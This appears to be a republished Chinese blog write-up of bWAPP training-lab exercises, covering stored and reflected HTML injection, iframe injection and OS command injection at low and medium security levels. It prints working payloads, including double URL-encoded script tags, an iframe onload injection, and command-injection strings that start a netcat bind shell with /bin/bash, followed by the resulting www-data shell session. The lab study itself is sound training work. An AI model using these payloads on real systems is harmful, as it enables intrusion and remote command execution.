htmli stored.php,bwapp medium writeup

转载

思考的葡萄 于 2021-03-17 13:46:01 发布 17 收藏
文章标签： htmli stored.php

HTML injection(XSS)

set security level as low很简单，正常的就可以绕过

http://192.168.170.130/bWAPP/htmli_get.php?
firstname=%25%33%63script%25%33%65alert(/XSS/)%25%33%63/script%25%33%65&lastname=%25%33%

当set security level as medium时，发现尖括号被过滤了，

于是尝试将

然后发现后台的过滤代码是这样的，

```
function xss_check_1($data) {

// Converts only "" to HTLM entities

$input = str_replace("

$input = str_replace(">", ">", $input);

// Failure is an option

// Bypasses double encoding attacks

//

// %3Cscript%3Ealert%280%29%3C%2Fscript%3E

// %253Cscript%253Ealert%25280%2529%253C%252Fscript%253E

$input = urldecode($input);

return $input;

}
```

于是对尖括号进行两次url编码即可。

但是这就不是黑盒审计了，而是白盒了。。。我开始以为需要在不看源码的情况下弄出来，看一下后台的代码也行嘛。

参考：

http://komorebi0122.blogspot.com/2016/12/medium-html-injection-reflected-get.html

说明：像作者这样，直接在表单里面输入URL编码之后的字符串，浏览器会认为这是用户主动输入的原始字符串，而对其再进行一次URL编码，于是发往服务器的URL就变成两次编码后的URL了。

HTML Injection- Reflected(URL)

Low

由于我们输入字符串的时候，浏览器会帮我们做url encode，所以我们需要再burp里自己修改成原始的字符串，这样，服务器就会返回给我们同样的url。

源码审计，由于

case "0" :

// $url = "http://" . $_SERVER["HTTP_HOST"] . urldecode($_SERVER["REQUEST_URI"]);

$url = "http://" . $_SERVER["HTTP_HOST"] . $_SERVER["REQUEST_URI"];

break;

所以直接再burp里将url编码过的修改成原始字符串即可。

看到既然$url是由$_SERVER["HTTP_HOST"]和$_SERVER["REQUEST_URI"]拼起来的，于是想能不能这样，

然后从得到的响应看，可能是script标签之间不能有错误？

然后当我在`

得到400 Bad Request`。

//TODO

最后老老实实的在 $_SERVER["REQUEST_URI"]注入就好了。

Medium

这次如果还按照之前的方法来的话，由于服务器端的过滤变成了

case "1" :

$url = "";

break;

因为并没有从 $_SERVER["REQUEST_URI"]和$_SERVER["HTTP_HOST"]中取值，

所以即便我们构造这样的payload，在响应中却是这样呈现的。

这样看来好像服务器并没有信任输入，而是直接输出了。哦不，document.URL也是输入吧。

然而这次不管加一次还是两次URL Encode，还是在burp里修改成原始字符串，都会直接在页面输出。。。这下可怎么办呢。

参考这篇：

http://penthusiasts.blogspot.com/2013/12/bwapp-html-injection-all.html

他所可以在URL上加上#。

http://192.168.170.130/bWAPP/htmli_current_url.php#

可以看到，当在firefox的地址栏上填入带有#的URL时，传到Burp并不会自动加上#。

然后返回到浏览器的时候还是老实地输出在页面了。

发现不管是否在burp的URL那里加上#，都不会影响最后返回给浏览器的结果。

然而这个博客作者说，

http://penthusiasts.blogspot.com/2013/12/bwapp-html-injection-all.html

在IE上是可以成功的。

对于php的htmlspecialchars()函数，感到很无力啊，尝试了几个payload，不管是用html编码后的单引号()还是双引号(")，发现都不能成功，因为到浏览器的时候根本没有显示出来，而是在引号部分被截断了。

找了半天，发现high level似乎是无法被绕过的。

从这个blog发现这段话。

Don’t forget to set the security level to low or medium. With security level high you will notice that SQL injection is no longer applicable. With security level high we are validating every user input. This is done with the MySQL real escape string function and with prepared statements.

而且从源码中htmli_stored.php中发现这句话

while($row = $recordset->fetch_object())

{

// so if the security level is medium or high, there will be xss_check_3() to check xss

if($_COOKIE["security_level"] == "1" or $_COOKIE["security_level"] == "2")

{

?>

<?php echo $row->id; ?><?php echo $row->owner; ?><?php echo $row->date; ?><?php echo xss_check_3($row->entry); ?>
所以medium 和high都是无法绕过的。

iframe injection

low

第一种方法：

直接在src属性里面加入javascript:alert(1)即可执行js语句。

第二种方法：

发现iframe标签的src属性是可控的，于是构造payload

/bWAPP/iframei.php?ParamUrl=="%20onload%3dalert(/xss/)>//&ParamWidth=250&ParamHeight=250

medium

由于php对iframe的src属性做了限制，必须得是robots.txt，于是继续用同样的payload尝试其他两个属性。

"%20onload%3dalert(/xss/)>//

成功xss

high

不用试了，因为medium和high是一样的，对于这一题。

if($_COOKIE["security_level"] == "1" || $_COOKIE["security_level"] == "2")

{

?>

" width="<?php echo xss($_GET["ParamWidth"])?>">

}

LDAP injection(search)

太难，不会，暂时不想学

OS Command Injection

low

很简单，只需要在查询的域名后面加一个分号然后加命令即可成功执行命令。

使用nc 反弹shell

如果在输入框中输入

&& nc -vlp 4444 -e /bin/bash

则会在本地的4444用nc进行监听，并再对方连接之后，反弹shell。然后输入这个命令之后，浏览器就一直在转，并不马上返回响应。

然后在shell的环境下查看4444端口，发现已经在监听了。

bee@bee-box:/var/www/bWAPP$ netstat -plant|grep 4444

(Not all processes could be identified, non-owned process info

will not be shown, you would have to be root to see it all.)

tcp 0 0 0.0.0.0:4444 0.0.0.0:* LISTEN -

然后我们可以连接到nc监听的端口上

nc -vv 192.168.170.130 4444

然后通过python执行spawn得到一个有提示符的交互式shell。

bee@bee-box:/var/www/bWAPP$ nc -vv 192.168.170.130 4444

bee-box.local [192.168.170.130] 4444 (?) open

id

uid=33(www-data) gid=33(www-data) groups=33(www-data)

uname -a

Linux bee-box 2.6.24-16-generic #1 SMP Thu Apr 10 13:23:42 UTC 2008 i686 GNU/Linux

python -c "import pty; pty.spawn("/bin/bash")"

python -c "import pty; pty.spawn('/bin/bash')"

www-data@bee-box:/var/www/bWAPP$

www-data@bee-box:/var/www/bWAPP$

www-data@bee-box:/var/www/bWAPP$

记得单引号和双引号。

然后直到我exit退出最外层的nc之后，浏览器才响应回来，然后终端这样输出：

www-data@bee-box:/var/www/bWAPP$ exit

exit

exit

exit

sent 118, rcvd 252

bee@bee-box:/var/www/bWAPP$

medium

发现commandi.php里有一个验证。

case "0" : //low

$data = no_check($data);

break;

case "1" : //medium

$data = commandi_check_1($data);

break;

case "2" : //high

$data = commandi_check_2($data);

```
break;
...
function commandi_check_1($data) {
$input = str_replace("&", "", $data);
$input = str_replace(";", "", $input);
return $input;
}
```

发现过滤了&和;，那我用"`"，来试一下？

结果发现应该是被过滤了，没有返回到页面。

```
function commandi_check_2($data) {
return escapeshellcmd($data);
}
```

查看escapeshellcmd()函数

查看别人的writeup，

http://penthusiasts.blogspot.com/2013/12/bwapp-command-injection.html

发现原来可以直接

$(xxx)，但是这样，并不能在浏览器上回显。

然后依然通过$(nc -vlp 4444 -e /bin/bash)在本地监听4444端口，然后再在shell里用nc去连，这样得到一个www-data用户的shell。